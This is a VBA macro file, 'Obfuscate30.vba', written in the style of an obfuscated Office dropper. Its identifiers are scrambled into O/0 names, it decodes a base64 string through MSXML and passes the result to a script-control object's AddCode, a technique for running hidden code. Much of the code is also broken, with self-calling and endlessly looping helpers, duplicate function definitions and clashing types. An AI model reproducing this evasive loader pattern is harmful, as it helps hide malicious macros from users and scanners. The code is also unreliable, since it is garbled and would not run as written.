Obfuscate30.vba

Private Sub O0OO000()
    O0OO0O0 (O0O0O0O("IADYHgBqAGkA"))
End Sub

Private Sub O0OO0O0(ByVal O00O0OO As String)
    Dim O00OO0O() As Byte
    O00OO0O = O0OOO0O(O00O0OO)
    Dim O00000O As String
    O00000O = O0O000O(O00OO0O)
    O0O0000 O0O0OOO, O00000O
    Set O0O0OOO = CreateObject(O00O00O(O00000O))
    O0O0OOO.Language = O0000OO(O00OO0O)
    O0O0OOO.AddCode O00000O
End Sub

Private Sub O0O0000(ByVal O0O0O0O As String, O00O000)
    Dim O0O0000 As Object
    Dim O00O0O0 As Object
    Set O00O0O0 = CreateObject(O0O0O0O & "COntROL")
    O00O0O0.Async = O00O0OO(O0O0O0O)
    O00O0O0.ValidateOnParse = O00O00O(O0O0O0O)
    O00O0O0.LoadXML "<root><t>" & O00O000 & "</t></root>"
    O00O000 = O00O0O0.GetElementsbyTagName(O00O0O0(O0O0O0O))(0).nodetypedvalue
End Sub

Private Function O0O000O(ByVal O00OO00 As Byte()) As String
    Dim O0O0OO0 As Object
    Set O0O0OO0 = CreateObject(O000O00(O00OO00))
    O0O000O = O0O0OO0.createElement(O00O0OO(O00OO00)).nodetypedvalue
    With CreateObject(O0O0O0O(O00OO00))
        .Async = O00O000(O00OO00)
        .ValidateOnParse = O00O0O0(O00OO00)
        .LoadXML "<root><t>" & O00OO00 & "</t></root>"
        O0O000O = .getelementsbytagname(O00O0O0(O00OO00))(0).nodetypedvalue
    End With
End Function

Private Function O0OOO0O(ByVal O000O0O As String) As Byte()
    Dim O0O0O0O As Object
    Dim O0OO0O0 As Object
    Set O0OO0O0 = CreateObject(OO0OOOO(O000O0O))
    Set O0O0O0O = O0OO0O0.createElement(O0OOOO0(O000O0O))
    O0O0O0O.DataType = O0OOO00(O000O0O)
    O0O0O0O.Text = O000O0O
    O0OOO0O = O0O0O0O.nodetypedvalue
End Function

Private Function O0O0O0O(ByVal O0O00O0 As String) As String
    Dim O00OOO0 As Object
    Set O00OOO0 = CreateObject(OO0OOOO(O0O00O0))
    O0O0O0O = O00OOO0.createElement(O0OOOO0(O0O00O0)).nodetypedvalue
    With CreateObject(O000O00(O0O00O0))
        .Async = True
        .validateOnParse = O0OO0O0(O0O00O0)
        .LoadXML "<root><t>" & O0O00O0 & "</t></root>"
        O0O0O0O = .getelementsbytagname(O0OO0O0(O0O00O0))(0).nodetypedvalue
    End With
End Function

Private Function OO0OOOO(ByVal O0OOOO0 As String) As String
    Dim O000O00 As Object
    Set O000O00 = CreateObject(O000O0O(O0OOOO0))
    OO0OOOO = O000O00.createElement(O0O0OO0(O0OOOO0)).nodetypedvalue
End Function

Private Function O000O00(ByVal O000OOO As String) As String
    Dim O0000OO As Object
    Set O0000OO = CreateObject(O0OOOO0(O000OOO))
    O000O00 = O0000OO.createElement(OO0OO0O(O000OOO)).nodetypedvalue
End Function

Private Function O00O00O(ByVal O0O0OOO As String) As String
    Dim O0OO00O As Object
    Set O0OO00O = CreateObject(OOO0OO0(O0O0OOO))
    O00O00O = O0OO00O.createElement(OO0O0O0(O0O0OOO)).nodetypedvalue
End Function

Private Function O00O0OO(ByVal OOOO0OO As String) As String
    Dim O0OOO00 As Object
    Set O0OOO00 = CreateObject(OO0OOOO(OOOO0OO))
    O00O0OO = O0OOO00.createElement(O0OOO0O(OOOO0OO)).nodetypedvalue
End Function

Private Function OOO0OO0(ByVal O0OOOOO As String) As String
    Dim O00OO0O As Object
    Set O00OO0O = CreateObject(O0OOOO0(O0OOOOO))
    OOO0OO0 = O00OO0O.createElement(OO0OO0O(O0OOOOO)).nodetypedvalue
End Function

Private Function OO0OO0O(ByVal O0OOOO0 As String) As String
    Dim O0OOOOO As Object
    Set O0OOOOO = CreateObject(OO0OOOO(O0OOOO0))
    OO0OO0O = O0OOOOO.createElement(OOOO00O(O0OOOO0)).nodetypedvalue
End Function

Private Function OO0O0O0(ByVal O0O000O As String) As String
    Dim OOOO0O0 As Object
    Set OOOO0O0 = CreateObject(O0OOOO0(O0O000O))
    OO0O0O0 = OOOO0O0.createElement(OOO0OOO(O0O000O)).nodetypedvalue
End Function

Private Function O0OO0O0(ByVal OOO00O0 As String) As Boolean
    Dim O0OOOO0 As Object
    Set O0OOOO0 = CreateObject(O0OOOO0(OOO00O0))
    O0OO0O0 = O0OOOO0.createElement(OOO00O0).nodetypedvalue
End Function

Private Function O00O000(ByVal O0OOOOO As String) As Boolean
    Dim O0O0OO0 As Object
    Set O0O0OO0 = CreateObject(O0OOOO0(O0OOOOO))
    O00O000 = O0O0OO0.createElement(OOO0OOO(O0OOOOO)).nodetypedvalue
End Function

Private Function O0000OO(ByVal OOO0OOO As Byte()) As String
    Dim O0OOO00 As Object
    Set O0OOO00 = CreateObject(OOOOO0O(OOO0OOO))
    O0000OO = O0OOO00.createElement(O00O00O(OOO0OOO)).nodetypedvalue
End Function

Private Function O000O0O(ByVal O0O00OO As Byte()) As String
    Dim OOOO00O As Object
    Set OOOO00O = CreateObject(OOOOO0O(O0O00OO))
    O000O0O = OOOO00O.createElement(OOO0OOO(O0O00OO)).nodetypedvalue
End Function

Private Function OOOOO0O(ByVal O0O0O00 As Byte()) As String
    Dim OOOO0OO As Object
    Set OOOO0OO = CreateObject(OO0OOOO(O0O0O00))
    OOOOO0O = OOOO0OO.createElement(OOOO00O(O0O0O00)).nodetypedvalue
End Function

Private Function O0OOOO0(ByVal O0O0O00 As Byte()) As String
    Dim O0O00O0 As Object
    Set O0O00O0 = CreateObject(OOOOO0O(O0O0O00))
    O0OOOO0 = O0O00O0.createElement(OOOO00O(O0O0O00)).nodetypedvalue
End Function

Private Function OOOO00O(ByVal O0O0O0O As Byte()) As String
    Dim OOO0OOO As Object
    Set OOO0OOO = CreateObject(OOOOO0O(O0O0O0O))
    OOOO00O = OOO0OOO.createElement(OOO0OOO(O0O0O0O)).nodetypedvalue
End Function

Private Function O0OO0OO(ByVal O0O0O0O As Byte()) As String
    Dim O0OOOOO As Object
    Set O0OOOOO = CreateObject(OOOOO0O(O0O0O0O))
    O0OO0OO = O0OOOOO.createElement(OOO0OOO(O0O0O0O)).nodetypedvalue
End Function

Private Function OOO0OOO(ByVal O0O0O0O As Byte()) As String
    Dim O00OOOO As Object
    Set O00OOOO = CreateObject(OOOOO0O(O0O0O0O))
    OOO0OOO = O00OOOO.createElement(OOO0OOO(O0O0O0O)).nodetypedvalue
End Function

Private Function O0OOO00(ByVal O0O0O0O As Byte()) As String
    Dim OOOOOOO As Object
    Set OOOOOOO = CreateObject(OOOOO0O(O0O0O0O))
    O0OOO00 = OOOOOOO.createElement(OOO0OOO(O0O0O0O)).nodetypedvalue
End Function

Private Function O000O00(ByVal O0O0O0O As Byte()) As String
    Dim O0O000O As Object
    Set O0O000O = CreateObject(OOOOO0O(O0O0O0O))
    O000O00 = O0O000O.createElement(OOO0OOO(O0O0O0O)).nodetypedvalue
End Function

Private Function O0O0OO0(ByVal O0O0O0O As Byte()) As String
    Dim O0OOO0O As Object
    Set O0OOO0O = CreateObject(OOOOO0O(O0O0O0O))
    O0O0OO0 = O0OOO0O.createElement(OOO0OOO(O0O0O0O)).nodetypedvalue
End Function

Private Function OOOOO0O(ByVal O0O0O0O As Byte()) As String
    Dim O0OOO0O As Object
    Set O0OOO0O = CreateObject(OOOOO0O(O0O0O0O))
    OOOOO0O = O0OOO0O.createElement(OOO0OOO(O0O0O0O)).nodetypedvalue
End Function